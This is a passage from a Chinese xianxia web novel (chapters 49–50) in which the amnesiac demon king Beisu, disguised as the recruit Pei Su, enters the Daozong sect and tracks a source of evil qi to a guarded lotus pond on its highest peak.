“遵命。”守卫虽然不明白尊主这个命令,甚至觉得奇怪,但尊主下令,必须照做。 黎衣白在这棵树前待到天黑,才回去。 月光洒下,最后一批修士来到驿站,弟子头也不抬,提笔就问:“叫什么名字?” 弟子面前的修士将头顶莲叶拿下来,报出自己的名字:“裴溯。” “已经登记好,你先在驿站休息一晚,明日我们就送你去道宗。” 名叫裴溯的修士重新将莲叶盖在头顶,漫步往里走。 “好。” 第49章 “师兄传信,说是他们在路上遇到了异种裂缝,但好在没有出事,叫我们注意些。”一名弟子拆开传信纸鹤,看完里头的讯息,将纸张对折叠好,面向身前绿衣执事。 “没出事就好,我们护送时,也小心些,真要是遇上了,只要结界不破,就没事。”执事拍拍弟子肩膀,走向自己房间:“早些休息吧,明日最后一批送完,我们就可以回宗休息。” 弟子说了声好,“我再巡查一次,确定没有异样,便去休息。” 烛火熄灭,弟子在每一间房前都敲了门,告知他们明日天亮后便动身去道宗,让他们今晚早些歇息。 敲到走廊最后一间房时,久久未有回应,奇怪道:“难道已经睡下了?” 他打开登记册子,找到在这间房住下的人,指着那名字念出来:“裴溯……好像是今晚最后一个来的。” 他再次敲了敲门,道:“这位道友,明日早晨便要出发,你可别起晚了,错过了时辰。” 里头还是没人回,弟子在门外站了会,没再说,掉头去驿站外检查结界。话已经带到,且在这群修士进驿站登记时,说过一次,若是错过,责任不在他。 外头夜色正浓,月光透亮,驿站周围景象能看得一清二楚,不远处的茂林树木密集,月光照不进去,黑得渗人。 弟子抱手摸了摸胳膊,哆嗦了一下,嘟囔道:“都入夏了,怎么还觉得冷呢。” 检查过结界没有问题后,他赶紧回去,把门关上,在一楼留下一盏灯,上楼回房间休息。 没人活动的驿站安静下来,稍微有一丝声响,在寂静中放大,将人惊醒,仔细一听,是外头风刮树林发出的飒飒声响。 那人重重呼出一口气,躺回去闭上眼,继续睡。 走廊尽头的房间内空无一人,门拴着,窗户半开,房间内所有东西未有动过的痕迹。 来到这间房的人只停留片刻,悄无声息地消失了。 密林内,一道漆黑身影靠在树干上,手里的莲叶被撕成条,越撕越碎。 “他们应该已经发现那棵梧桐树,我没必要再回妖界。”她将撕碎的莲叶随手烧了,偏头看向边上的小鸟。 斗篷之下露出半张清秀的面容,“你再和我说说,这些年都发生了什么,现在的妖王不是雾海吗?” 小鸟给她翻了个白眼:“你说的妖王雾海都是几百年前的了,现在的妖王是狼族之首,名叫黎衣白,是继雾海之后第三位妖王。” 那人顿了会,问:“另外两个是谁?” 小鸟翅膀一拍胸脯,很是自豪道:“雾海之后的那一位,是蛇族之首,名为北溯!我跟你说,她可厉害了!只凭一己之力就灭了十几名仙尊,是我们妖界最强的妖王!” “嗯?北溯?” 那人直起身,斗篷脱落,脸完全露出来,眸子透亮,面容虽是清秀,浑身却透着一股子难以忽视的出尘之气,只看背影,便叫人觉得她非比寻常。 小鸟睁着豆子大的眼看她好半天,有种想将她脑袋扒开看看里头装了什么东西的冲动。 “你是不是几百年没出来,怎么说的都是几百年前的事,还不知道现在的妖王。”小鸟见她一身黑衣,身上又没什么值钱的东西,以为她穷得只能待在家里,不知道外界的变化。 “妖王北溯啊!人族修士还叫她为邪神!她杀了十几名仙尊!昆仑的仙尊!谁有她那么厉害!” 那人挑眉,意味深长地哦了一声,问:“那她现在人呢?” 小鸟一听,挠挠脑袋,说:“好像已经死了。” “死了?”那人低头瞅了眼自己,又问:“那她之后那位妖王呢?” “是凤鸣,他是凤凰,他也死了。”小鸟瞅瞅周围,一副做贼模样靠过来,翅膀张开,遮住自己,凑到那人耳边说。 那人往边上偏头,与那只鸟离了些距离。 “我听说啊,是和妖王北溯一起死的,搞不好是殉情,啧啧啧。” 那人笑了一声,口中重复那两个字:“殉情?” “是呀是呀,一起死的,不是殉情是什么?”小鸟收回翅膀,咳嗽两声,一本正经道:“我是这么猜的,他们不让我们说这两位妖王的事。” 小鸟说完,哼了一声,没好气道:“让我们嗑嗑又怎么了,谁不知道妖王北溯被封印前,他们关系老好了。” “北溯还被封印了?” 小鸟一脸严肃盯着那人,半晌才说一句:“请问您哪一年出生的?” 那人思索片刻,回答:“妖历四百七十二年,我记得那年是雾海当上妖王的第二年。” 小鸟差点没掉地上,眼珠子快瞪出来。 “现在已经是妖历九百四十五年!你这是去了哪个山沟沟里待了将近五百年才出来?” 那人摸了摸自己脑袋,苦恼道:“我也不知道自己在哪待了这么久,一出来外头全都变了。” 小鸟看不得同族惨兮兮的,拍拍她肩膀,安慰道:“别怕!你问我,我什么都知道!” 那人打量着小鸟,小鸟挺起胸脯,张开双翅,任由她看,“你想知道什么,尽管问。” 结果她偏就问了个真不知道的。 “道宗是个什么玩意儿,什么时候出现的?” 小鸟收回翅膀,绞尽脑汁,努力想:“应该是妖王北溯被封印后壮大的,我也不太清楚,我出生的时候, 道宗就已经存在了。” “哦,里面有个很厉害的人,他们叫他道君,妖王北溯死的时候,他在渡劫,听说没成功,后来就一直待在道宗里。” 说到这个,小鸟问:“你真的要去道宗吗?你去了,他们不得立刻就发现你是妖兽。” “唔……”那人想了想,说:“发现就发现吧,找到我要的东西就走。” 小鸟好奇,凑上去问:“你有什么东西在道宗啊?” 那人朝小鸟弯起眼眸,语气没什么变化,小鸟却听得感觉自己再问就要被拔毛。 “我要找什么东西,需要告诉你?” 小鸟连连摇头,小声嘀咕:“不说就不说,等你被道宗那群修士抓到,你就完啦!” “我要回家了,你还有什么要问的,赶紧问。”小鸟冲树林里头望,已经有掉头回去的趋势。 那人靠回树干上,眼眸望着自己的双手,过了会才问:“你是怎么找到我的?” 小鸟老实回答:“我那天晚上被祖宗托梦了,让我去那个地方,告诉你这些。” 小鸟瞅了她好几眼,没敢问她和自己老祖宗是什么关系,说实话被祖宗托梦这种事,说出去定然会叫同族羡慕! “你回去吧。” 那人抬头,透过树叶缝隙看月,神情中透着一丝迷茫。 小鸟本来要走的,回头一见她一个人孤零零站在树下,想了想,跑回去安慰一句:“虽然你和这个世界脱节了,但我相信,以你的能力,定然能很快追上来。加油!” 那人垂眸望着小鸟,笑出来:“你还挺会鼓励人。” 小鸟挥了挥翅膀,“再见,祝你早日找到你要的东西。” 小鸟张开翅膀,没入黑暗中。 那人抬起右手,睁眼仔细看。这只手和记忆中的没什么区别,连容貌也没有变化,这确实是她,但又不是她。 “我当上了妖王,还成了邪神?” 北溯歪头,指尖一动,被掩盖的邪气显露,萦绕指尖,往身体里涌。将其融入身体里,并未感觉到不适,还有种丢失在外的东西归来的亲切感。 这东西不似妖气,又与其他力量不一样,未曾见过,但并不会引起身体不适。 自醒来,这股邪气便一直跟着,源源不断。顺着这邪气走出妖界,来到人界边境,还没能望到尽头。她查过,邪气的源头在东方,那个被称为道宗的地方。 那么她失去的记忆,还有她的“死”,以及这股力量来源,也许能在道宗找到答案。 五日前,她在苍岩山上醒来,一睁眼,四周仅有自己,记忆里最后的画面,是她刚和黎衣白他们将人族抓走的妖兽救出来,让他们先走,自己殿后,被人族围攻,重伤躲在一处山洞里,昏睡了过去。 再醒来,听到的就是已经过去将近五百年,他们都死了。没有修士抓妖兽,三界太平。 “这么看,我以后还挺厉害,连仙尊都能杀。” 北溯垂下手,忽地想到梧桐树上的莲叶,微微皱眉:“莲叶上的灵气不属于妖界,看来我走后有人来过。” 所以人族并未遵守那劳什子和平条约,也会摸到妖界去。 她转动手指,邪气跟着转了一圈,被她吸收。 “先去道宗找到这玩意来源,其余的再说。”北溯直起身,往驿站走,脚步缓慢,总觉得有什么很重要的事忘了,怎么也想不起来。 “难不成我年纪大了,记性不好?” 她的身影穿过丛林,回到驿站房间内,里头没有人来过的痕迹。在床上躺下,闭目休息。 不知失去记忆的这几百年发生了何事,一醒来身体不大稳定,偶尔会变回原形,这要是去道宗,不藏得严实些,很容易被发现。 她有想过回去问黎衣白,但直觉告诉自己,跟着这邪气走,便能知道一切。且那小鸟说过,后来的她几乎与妖界决裂,又被封印三百年,妖界基本上不了解她身上发生的事。 “麻烦。” 好端端的怎么会死,还没了记忆。 一边吸纳邪气,一边想招。以她现在的修为,变幻容貌骗些修士还行,遇到老辣的修士很难瞒过去。 这个念头刚起,脑海中浮现一道口诀,她下意识做了,回过神时,明显感觉到周身气息变化。这是一道隐藏气息的法术,可将自身妖气完美隐藏,且耗费的力量极少。 “所以我确实经历过那只鸟说的事。” 这完全是身体本能,刻到骨子里,不用刻意去想,就能做到。 可这又是谁教她的? 北溯蹙眉,来回施展这道法术,越发想快些找到邪气的源头。她要弄清楚,自己既然死了,那又是怎么活的,又为何要杀仙尊。 黑夜过去,白日到来,铃声响起,叫醒在睡梦中的人,弟子叫喊声传进房间内。 “诸位快些准备,再过半个时辰,我们便要出发。” 弟子挨个敲门,得到一声声回应,敲到最后一间房时,想起来昨晚这间房住着的人没有回应,想着再提醒一下,抬手去敲,手指还没碰到,门就开了。 弟子一眼对上一双清冷的眼眸,那人直接开口:“不用再说一遍,我已经听到了。” 弟子后退一步,讪讪一笑:“您听见就好,一楼准备了早点,您若是有需要,可以前去使用。” 北溯淡淡嗯了一声,越过他往楼梯走。底下已经有人在,北溯一下去,就见他们眉飞色舞说着自己的辉煌事迹,吹得吐沫星子直喷。 她找了个干净的位置坐下,继续复盘。 从苍岩山上醒来后,在妖界逛了一圈,没见到几个眼熟的,后来跑去人界的路上,遇见那只小鸟,边走边聊。 小鸟不知道的人界之事,她找了人族询问,得到的答案很模糊,还是得去人界核心区域问清楚。 “我只知道我出生前,妖界将近覆灭,所以你认识的妖兽,可能都在那个时候死了。” 也是因为这个,她才没将希望寄托在妖界。 “这次道宗招新,我要是被道君看上,哼哼,你们就羡慕吧!” “吹牛呢你,就你这点修为,能被收为内门弟子就不错了,还被道君看上,这根本不可能!” “敢打赌吗?我要是被道君收为弟子,你给我当一年跟班。” “好啊,你要没当上,给我当两年跟班!” 捕捉到“道君”二字,北溯听了几句,没有得到有用信息,小鸟说起过这位道君,据说是渡劫失败。 失败了吗…… 她朝走来的弟子招手,等那弟子走过来,先是笑了笑,声音放低,道:“我听他们说道君,有些好奇,这位道君,很厉害吗?” 那弟子当即自豪道:“道君当然厉害了,他可是我们宗门最强者。我敢说,整个三界,找不到比他还厉害的人。” 北溯哦了一声,突然出口:“那他和那位邪神比起来呢。” 驿站内骤然安静,所有人都望过来,眼神怪异地望着她。 北溯眨了眨眼,没想到他们反应这么大,一说起邪神,都一副如临大敌的模样。 “那自然是我们道君更强!”那弟子加了一句:“邪神已死,你还是不要再提,进了道宗也少说。” 有人跟着问:“这是为何?邪神不是死了吗?为何不给说?” 弟子语气沉重:“当初为了铲除这位邪神,牺牲近千名修士,这般惨痛的代价,每每提起,我等都心神难安,不提,是不想再难过。” 北溯靠在椅背上,没再问。 她倒是更好奇,没有记忆的这几百年,自己都做了什么丰功伟绩,令人族害怕,动用这么多人也要杀她。 “诸位再等片刻,待执事准备好飞舟,就接各位上飞舟。” 北溯拿了个包子吃,观察这群道宗弟子的举动,想到那位道君,从她掌握的信息里,她的死似乎没有这位道君插手,他那么强,怎么会不动手,反而叫那群实力弱的修士去杀? 怪了。 一刻钟后,所有人集结齐,出了驿站,上飞舟。 北溯站在人群中,朝远处密林看了眼,里头静悄悄的,没有动静。 她动了动手,无形的邪气涌向飞舟。 “人都齐了?” 弟子向执事回报:“我已经清点过,人已齐。” 执事点头,与其余弟子合力,将灵力注入飞舟储存灵力的凹槽,启动飞舟。 飞舟升空,人群欢呼,向远方眺望,期待不已。 “我要是真能留在道宗,必然好好修炼,等我厉害了,村里指不定要怎么巴结我。” “瞧你这点出息,怎么不想得远大点,渡劫飞升!成仙!” 北溯在自己周围设了结界,隔绝嘈杂的声音,定眼望着邪气蔓延的方向。不知这股邪气,最终通向道宗何处,她的记忆,怎么才能恢复。 飞舟行驶不到半个时辰,出现异常,陡然下降,好些个人差点腾空,吓得尖叫。 “怎么回事!好端端的,怎么出了问题?” 弟子立刻去检查,发现凹槽里灵力突然就消耗完了,连忙叫来执事补充灵力。 “奇了怪了,不该这么快消耗完的。” 北溯笑了一下,勾了勾手,将邪气收回来。她是不管这些年发生了什么,她的记忆还停留在人界大肆捕杀妖兽,这个时候碰到人族,不杀了他们,只使些坏,已经算是仁慈了。 飞舟很快平稳运行,修士们喘了口气,差点吓死。 “还以为遇上异种了呢。” 北溯不动声色地听着。 “千万别碰到!这玩意我可打不死。” 她见过异种裂缝,但却是在魔界见到的,这么多年过去,这东西都到人界来了? “没事,有他们在,他们会保护我们的。” 危险过去,精神放松下来,就想唠些有的没的。 “说起道君,我听说……”那人瞅了眼巡视飞舟外有无异种裂缝的弟子,压低声音:“我听说,道君有了孩子。” “什么?” 北溯跟着在心底说了句,什么,这个信息那只鸟怎么没说。 “什么时候的事?道君的道侣是?” “那就不知道侣是谁,只知道那孩子应该是有八九岁了,不过啊,我觉得那是道君领养的,以道君的地位,若是有了道侣,道宗定然是要广而告之,怎么会至今不知道侣是何人。” 北溯若有所思,把这个道君吹得天花乱坠,养个孩子还要被人在背后议论,也没什么威慑力。 移开注意力不再听这群人八卦,往边上走,打算去看看现在到哪了。 道宗弟子见她来,叮嘱道:“这位道友,切莫靠得太边上。” 北溯随口嗯了一声,正要再往前走一步,一道紊乱气息靠近,她不动声色地伸手揽住,对上一双泛着水雾的眼,看起来似乎很难受。 她抽回手,往边上退了一步,瞧着那男修差点倒地,踉踉跄跄站起来,捂着心口身子打颤,再配上他那张人畜无害的脸,很容易激起怜爱之心。 “晕船?” 那男修摇头。 “恐高?” 他又摇头。 北溯瞧了他几眼,道:“去找个地方凝神打坐,力量在丹田处转三个小周天再全都排出来,能缓解些。” 那男修一下瞪大眼,震惊看她,得到她一道安抚的笑,瞬间就安下心,匆匆离开去打坐。 北溯望着他闭上眼,若有所思。 片刻后那男修一睁眼,就见她在看自己,不好意思地笑了笑,笑容甚是腼腆。 他站起身,在北溯的注视下走到她跟前,说了句谢谢,声音不大,但听着悦耳。 北溯眯了一下眼,随即睁开,朝他道:“不用谢。” 紧接着又问:“多大了?” 男修一愣,略微警惕地后退了一步,再一见眼前的女子气质温和,看不出丝毫恶意,犹豫了会,诚实道:“过了九月的生辰,就十八了。” 北溯哦了一声,语调散漫:“是个弟弟啊。” 男修有种被长辈打量的急促感。 北溯反应过来,又说:“不对,我可比你大多了。” 男修摸不着头脑,又不知道该说什么,又说了句谢谢,随后小心翼翼试探:“您是怎么看出来……” 北溯笑眯眯:“出来混,尾巴要藏好。” 男修愕然,下意识双手去摸自己身后,只听到一声笑,当即明白自己是被耍了,脸一红,往边上退了好几步,不敢再看她。 北溯没再管这个小辈,转而去看飞舟外,高度正在下降,这意味着他们到了传送阵所在地点。 很快执事叫他们下去,北溯跟着一起跳下去,注意到那小辈不远不近地跟在自己身后,没太在意。 “诸位直接步入阵法,只需忍耐传送时的不适,很快便能到达道宗。” 人群兴奋起来,一个个地往地面早已经亮起的传送阵里跑,生怕不是站在最中央。 北溯慢悠悠地走在后头,等她过去时,只剩下边缘位置。 “诸位站好了!”执事与弟子们合力将灵力注入,阵法运转,里头数道身影消失。 脚下再踩到实地时,双眼被巍峨高山取代,纯净浓郁的灵气扑面而来,高山入云,到处可见流光闪过。 修士们震惊望着眼前一幕,都忘了说话。 执事让他们看了会,才说话:“诸位暂时在一重山住下,待招新大典结束,再根据你们的职位,分配住所。” “这期间切莫乱走动,道宗共九座山,以你们现在的修为,若是碰到宗内禁忌之物,怕是无法安然脱身,我等也未必能及时赶来救援。” “仙长,我想问问道君在哪座山啊?”说话的正是先前那名说要当道君弟子的修士。 执事一看他们期待的目光,笑道:“自然是那座最高之峰。” 执事抬手,指向那座云端之山的山峰。 那座山最远,也是最高,在一重山脚下看去,只能隐约看到一处黑影。 “那就是道君所在之处吗?” 北溯挥了一下手,邪气晃动,但蔓延的方向未变。 她顺着邪气蔓延的方向望去,一抬眼,便是那座高山。 她歪了头,眼中泛起涟漪,听着执事说的话,缓缓勾起笑。 邪气的源头,竟然在那座山上。 “诸位请随我前往你们的住所。” 北溯收回目光,跟着执事走,低头看指尖的邪气。 唔……看来她得去那座山上看看,不过那位道君也在那座山上,还比她厉害,若是被他发现了,那可就不好了。 第50章 “诸位这两日先在此歇息,如有何需求,可前往供给处向骆执事寻求帮助。”带领他们来的弟子微微鞠躬,修士们连忙跟着鞠躬。 弟子直起身,笑道:“道宗招新大典会在两日后举行,这两日诸位好好休息,养精蓄锐。祝诸位都能成功通过选拔,成为道宗弟子。” 修士们纷纷谢过,有人四处看了眼,见那弟子要走,想上去再问些道宗信息,谁知刚出院子头探出围墙,就不见那弟子了。 “走得这么快,连句话都问不上。” 来这的好几个人精,一看就知道那人要干什么,在后面嘲讽: “你想巴结他们?你当这里是你那犄角旮旯的小地方啊,这里的人什么没见过,会看不出你那点小心思,我劝你还是老老实实等到两日后的招新大典开始,别想些有的没的。” 那人的 小心思被拆穿,梗着脖子冲几句:“关你什么事,要你管?你还是把自己管好,就你这样的,上了擂台,说不定连对手一招都撑不下来。” “嘿,你还来劲了。” 这两人越说脸越红,边上的人看热闹,也没几个上去劝的。 吵闹的声音越来越大,传到隔壁院子,女修们讥笑几声:“一点都不安分。” 她们分好床位,收拾自己带来的行囊,开始讨论招新大典。 “这一次道宗隔了将近十年才再次招收新弟子,我怎么觉得这次来的人应该会很多?” “我看到过执事的名册,只是我们这一趟就有三十人,按十趟二十批算,那得几千人呢!” “一名执事应该没有送到十次吧,但人数也得有上千了,道宗会收这么多弟子吗?” “不知,规则还未公布,只希望我能入选吧。”那女子说完,下意识问身侧的女子:“你有没有想好拜哪个仙长为师?” 被问话的女子正坐在床尾,边上也没行囊,看着应该是独自一人而来,也没见她跟谁说过话。 “没有。”北溯朝外头望了眼,心思不在这。 “你没想好?”女子诧异,随后朝另外两名同住一间屋的女子招手,示意她们都过来,故作高深道:“你们可知,这道宗,如今最厉害的是谁?” 那两名女子直接回答:“道君!” 女子点了点头,随即又摇头:“道君太厉害了,我们是当不了他的弟子,道宗内还有个和道君差不多厉害的,你们猜是谁。” “道宗宗主?” “就是道宗宗主!我来之前都已经打听过,道宗宗主名叫天綪,也是入神境修为,我猜她快要飞升了!” “这么厉害?” “我在想,我们要是能当上宗主的弟子,日后宗主飞升,我们的身份可就不一样了。” 女子说着,仰起头,颇为兴奋:“届时我们就成了仙尊的弟子,就算宗主没法飞升,我们在道宗的辈分比他们高,他们不得叫我们一声师叔。” “确实,你这么一说,我也想成为宗主的弟子,但以我的实力,怕是不行。” 那两名女子摇了头,叹了口气,回去继续收拾。 女子想了想,转头去问北溯:“你呢,你想当宗主的弟子吗?” 她神情期待,颇有几分想在北溯身上找到共同目标的意思。 北溯回答得模棱两可:“我能够到哪,就去哪。” “唉?那你想不想拜特别厉害的仙长为师?”女子凑近,盯着她看。 北溯偏头,与她对视,没有说话,只一直这么看着她,漆黑的眼眸倒映出她的身影。女子看着看着,忽然往后退,移开目光,抠了一下手,结巴起来。 “你这么看着我干什么?” 北溯收回目光,淡淡道:“觉得你好看。” 女子一愣,旋即红了脸,不好意思地说:“那个,我叫裴兰,你呢?” 北溯随口道:“裴溯。” 裴兰一听,连忙问:“是非衣裴吗?”看到北溯点头,裴兰惊喜不已:“没想到还能遇到同姓,我俩真有缘。” 她说完,又去问另外两名女子,其中一个高挑点的,叫卓凝霜,另一个看起来憨些的,名为宣瑶。她们俩认识,还是一个镇的。 “待会我去供给处看看,你们要一起去吗?”裴兰说完,卓凝霜与宣瑶齐齐点头,三人将目光投向北溯,等她的话。 北溯直接道:“你们去吧。” 她得去别的地方。 “好吧,”裴兰要走时,又回头冲北溯说:“哦对了,你要我们帮你带午饭吗?” 北溯动了动手指,慢慢地摇头。 三人离开,房间内没了裴兰叽叽喳喳,安静不少,倒是显得隔壁房间吵,说的话都差不多,要么期待被厉害的仙长收为徒弟,要么怕自己没法通过选拔。 北溯走到门外站定,围墙将这处客舍隔断,得走出去,才能看到外头的景象。 她在想,是现在就出去逛逛这道宗,还是等到晚上,去九重山一探。 路上那执事特地叮嘱过,不要到处走动,没有弟子令牌,进不去传送阵。 她仰头望天,即使在被围墙隔绝的小院里,也能瞧见那座高耸入云的山峰。听那执事的意思,去这几座山并非只有传送阵一个途径,修为高的也可踏空或是御剑而去,进来时在天空瞧见的流光也证明了这一点。 以她现在的修为,应该能试试,只要隐藏好气息不被发现即可。 若是要去,便只能晚上去,白日不好动手。 “都收拾好了?去供给处看看吧?” 北溯偏头,望向走出来的女修,那女修见她在外头站着,先是一愣,随后露出友好的笑容。 北溯点了一下头,没什么表情地回了房间。 “她看起来不是很好相处。”跟在后头走出来的女修只看到北溯面无表情回房间,看起来很酷。 女修收回目光,道:“来此地的都是对手,没必要想着怎么相处,待成了道宗弟子,再想这些吧。” “你说的也是。” 她们到的时候,供给处已经挤满了人,队伍很长,弟子见又有修士来,劝道:“诸位可以晚些再来,此处一直都有物资供应。排队的时间太长,你们在此地一直等着,不如回去休整休整,又或是在一重山逛逛。” “执事不是说不可以随意走动吗?” 弟子笑道:“一重山并无禁忌,诸位可以随意走动,有不可踏足的地方,会有人提醒。” 他的笑容淡去,声音低了些:“执事只是怕你们遇到无法解决的危险,因此丧命。” 有人身子一哆嗦,莫名觉得后背发凉。 “多谢这位仙长提醒,我们一定会万分小心。” 弟子重新露出笑,声音也缓和了很多:“不用称呼我为仙长,我与诸位都是求道者,只不过比诸位多修炼了几年,还够不上仙长,你们只需唤我为道友即可。” 他这么一说,立刻有人跟着喊了几声道友。 弟子笑着站到一旁,后面来的修士都听到同样的话,有人选择离开,有人选择在后头排队。 裴兰三人回来时,已经将近晌午,三人排了几个时辰队伍,才领到一套衣裳,以及一块令牌。 “他们说这块令牌要在大典那天用,裴溯你快去拿一个。” 北溯看了眼,那是个巴掌大的圆形玉牌,上头刻了裴兰二字,正巧裴兰在解释:“难怪队伍排那么长,得一个一个地将名字刻在令牌上。” “你待会再去吧,现在人多,我们可以先在一重山逛逛。”裴兰提议道:“排队的时候道宗弟子说了,可以在一重山转转,不危险。” 这倒是正中北溯所想,站起身往外走。 裴兰见状,又问另外两人要不要一起去,她们拒绝了。 “我们打算收拾好,就开始修炼,就不和你们一块去了。” 裴兰说了声好,转身一看,裴溯都快走出围墙,赶忙追上去。 “我听说一重山都是外门弟子,我觉得我应该能被选上,最低也能当个外门弟子,裴溯你呢,你修为咋样?” 北溯随口一说:“入灵境。” 裴兰脚步微顿,继续笑着说:“我也是入灵境,搞不好选拔的时候我们会碰上。” 北溯站定,转头看她,眸光深邃,眼神犀利,对上这样的眼神,裴兰下意识后退一步,声音弱了些:“怎,怎么了?” 北溯笑了一下,笑容很短暂,语气微妙:“你想和我碰上吗?” 裴兰突然有种自己小心思被看穿的局促,直接往前走,声音飘忽:“我当然不想和你碰上啦,万一我要是把你淘汰了,你不就进不了道宗。” 她的脚步越来越快,像是在躲避着什么。 “是吗 ,你还挺关心我。” 北溯迈步,在她身后走着。 裴兰身子一僵,竭力调整好自己,一副轻松模样:“我们这么有缘分,不仅同一个姓,修为还一样,我当然不想你被淘汰。” 北溯没再听假话,观察四周,出了客舍,能看到旁边的弟子舍,现在这个时候看不到什么人在里头活动,应该是都去修炼了。 再往左边走,步上一条小径,尽头是一处空旷的训练场,远远一看,全都是道宗弟子在训练,动作整齐划一,还能感觉到招式施展出来引起的灵力波动。 “他们在练习剑术!”裴兰没走太近,早就停下来,等北溯跟上来,才说话。 北溯嗯了一声,她看出来了。粗略一感知,只有领头的绿衣执事修为较高,是聚灵境。 发现她们在看,那执事令弟子们又展示一番,仰起笑容:“你们俩是过来参加招新大典的吧?” 裴兰立刻回应:“这位道友,你们是在练剑术吗?” 执事点头,道:“你们可以离得近一些,这样看得更清楚。” 北溯没那个兴趣,对裴兰说了句:“你先看,我去别处转转。” 裴兰急忙拉住她胳膊,问:“你要去哪?” 北溯看了眼她拉自己胳膊的手,再抬眼看裴兰,裴兰赶紧松开,为自己解释道:“我是怕你乱走去了不该去的地方……” “是吗?” 裴兰没再说,朝训练场走了几步,再回头时,她已经走远。 “我那是好心关心你,不领情算了。” 裴兰在执事的指引下,找了个视野好的位置站着,看弟子们练习,看着看着,思绪游走。 裴溯是不是带着不可告人的目的来道宗的?不然怎么不和她一起留下来看,还不允许她问。 被她念叨的人挑了往九重山方向走的路,路上遇见几名道宗弟子,一见她身上穿的不是弟子服,贴心道:“这位道友可是迷路了?我可以带你回客舍。” 北溯以想在一重山逛逛为由拒绝了。 那弟子还好心叮嘱:“再往前就是一重山传送阵,没有弟子命牌,你无法靠近,还会被驱赶。这位道友还是换一处观赏吧。” 北溯说了声好,直接掉头往回走,回了客舍,房间内只三人齐聚,只有她一个才回来。 卓凝霜与宣瑶见她回来,话头止住,回了各自床位,裴兰坐在床上问她:“你去哪了?我们午饭都吃过了,你吃了吗?” 北溯点了头,糊弄她:“我去传送阵那看了看,好像见到了个长老从那出来。” 裴兰噌的一下站起来,问:“谁?是哪个长老?” 北溯没有立刻说,从她边上走过,坐在自己床位上,一抬眼便见她焦急盯着自己,这才开口:“没听清楚他叫什么,不过看起来地位挺高。” 裴兰坐了回去,喃喃自语:“道宗地位高的长老只有三位,且在道宗的话语权仅次于道君与宗主,她见到的,该不会是那三位其中之一吧。” “早知道她会遇到长老,就跟着她一起去了,失算!” 北溯只觉得好笑,随口一句她还当真了,心有不轨,真假都辨不出来。 不过一会,裴兰又提议再出去逛逛,其余两人犹豫着答应了,再一看北溯,她却摇头。 “那我们去吧,你在这里好好休息。”裴兰直接拉着两人出去,片刻也不停留。 北溯想了想,她们若是真要去传送阵那,自己的话就会被证实是假的,不过她也不在意,本就只是打算找到邪气源头就走,并非真要参加大比。 没想到她随口一说,这三人还真遇见了。 激动的话从围墙外传到屋内,一路都没停。 “没想到我们运气这么好,真能碰到道宗长老!” 此话一出,同一院子里的女修齐齐走出来,好奇往过去。 裴兰先走进来,面带喜色,卓凝霜与宣瑶也难掩喜悦。 “你们真遇见了?”女修好奇问。 北溯走出来,靠在门上,与走进来的裴兰对视上,裴兰只看了一眼,移开视线,对其她女修说:“对,我们不仅遇到了,还与长老说上了话!” “快说说是哪位长老,对你们说了什么?” 裴兰三人被女修们围住,受她们注视的目光,心神荡漾。 “是星峦长老!人可和蔼了,让我们好好比赛,争取进道宗。”裴兰话音一顿,又加了句:“说要是有缘,他会收我们做弟子!” 人群发出艳羡的声音。 北溯忽然觉得裴兰这调调很熟悉,像那种在外头硬要给自己塞点身份,以此显示自己的优越之处。 她笑了一下,没再看,回了房间,躺床上休息会,晚上还要摸去九重山。 屋外热闹了会,三人回来时,没有得到预想的惊叹羡慕,一看人早就躺下,连她们进来都没说句话,气氛有一瞬间的尴尬。 “晚饭我们一起去呗,顺便还能问骆执事一些问题。” 另外两人看了眼北溯,说了声好。 等北溯睁眼时,房间内安静得一点声音都没有,光线稍暗,另外三张床上没人。 她揉了揉眉心,缓了会,走出院子。 从供给处那拿了玉牌,收拾了会再出来时,天已经黑了。偶尔能瞧见天空流光闪过,再看过去时,只有漫天星辰。 步伐缓慢地走到一片树林里,再出来时,她的身影不见,那道不知什么时候学的隐息术很好用,即使从修为较高的道宗执事身侧走过,也没有被发现。 今晚,是时候探九重山了。 她抬起手,指尖绕了一圈,顺着邪气蔓延的方向看去,黑暗中高山的阴影投下,黑得如同巨兽立在东方,监视着世间的一切。 北溯直接用移形术去九重山上,白日里她探查过,九重山只有山顶住着权高位重的那几位,且邪气指向的位置,也在山巅。 出乎意料的是九重山顶居然没有结界保护,也没几个人看守,是因为这山上的人太厉害,已经不用看守了? 一座小屋出现在眼前,北溯站在屋外,往里头看,她在这间小屋里发现了少量的邪气残留,说明邪气的源头层在这里停留过。 不过里头没什么东西,墙壁上贴着数张字画,北溯粗略看了眼,墙上的字从丑到能勉强辨认出来,看得出来是孩子写的。 所以这应该是他们说的道君的孩子所写的? 北溯没什么兴趣再看,她的目的是找到邪气的源头。再一转身,一边吸收邪气,一边跟着邪气弥漫的方向走,一片偌大的莲池映入眼帘。 莲叶冲出水面,一片片相接,长势喜人,粗略一看,整个莲池都被莲叶填满,看不到池水。 北溯走近,抬手要去碰那莲叶,再离莲叶不到一指距离时,忽然停下。 她在莲叶上感知到了一丝熟悉的波动,与在梧桐树上插的那片莲叶同源,都是来自这片莲池。 收回手,笑容幽深:“没想到那朵莲叶来自道宗,嘴上说着三界和平共处,不再起争端,却偷偷摘了莲叶去妖界。” 她抬头望向莲池中心的凉亭,只看了一眼,抬步走走去。 田埂上只有她一人,若是不知她的存在,一眼望过去,这片莲池静地连水声都无。 凉亭前没有路了,只有与池水相连的浓雾。 北溯没有贸然试探,抬起手,邪气正从水雾里溢出来。 水雾里头有东西。 既然邪气是从雾里溢出来的,那邪气应该不受限制。她动了动手,将邪气凝聚成一团,往前推。不到一米的距离,感知到了阻力。 北溯散了邪气,了然。这水雾是禁阵引起的,有人设下了禁阵,没有设置禁阵者的气息,强行闯入,会被发现。 难怪这里没有人看守,仅仅只是这道禁阵,就可将所有人拦下。 她捏了捏手腕,在想要怎么进去。先前没有问过九重山具体都住了哪些人,她要是就这么去问莲池后头住的是谁,不就立刻被发现她跑去了九重山。 难搞。 北溯又凝聚了团邪气,尝试着能不能忽悠禁阵开启,结果是没有用。 她没了法子,坐在凉亭内,撑着下巴看水雾,左思右想 ,颇为苦恼。源头找到了,偏就进不去,这不是在耍她吗? 右手动了几下,无意识地吸收更多邪气。 越来越多的邪气涌出,水雾内邪气浓郁得几乎要将这道禁阵冲破。 本已经歇下的人猛地睁眼,捂住胸口,喘息数次,才起身往外走,他一步步走出寝殿,来到囚牢,道道禁锢阵竖起,囚牢紧闭,旋即一道闷哼从成镜口中溢出。 眉心的莲花印记闪烁,荧光黯淡,逐渐转深。 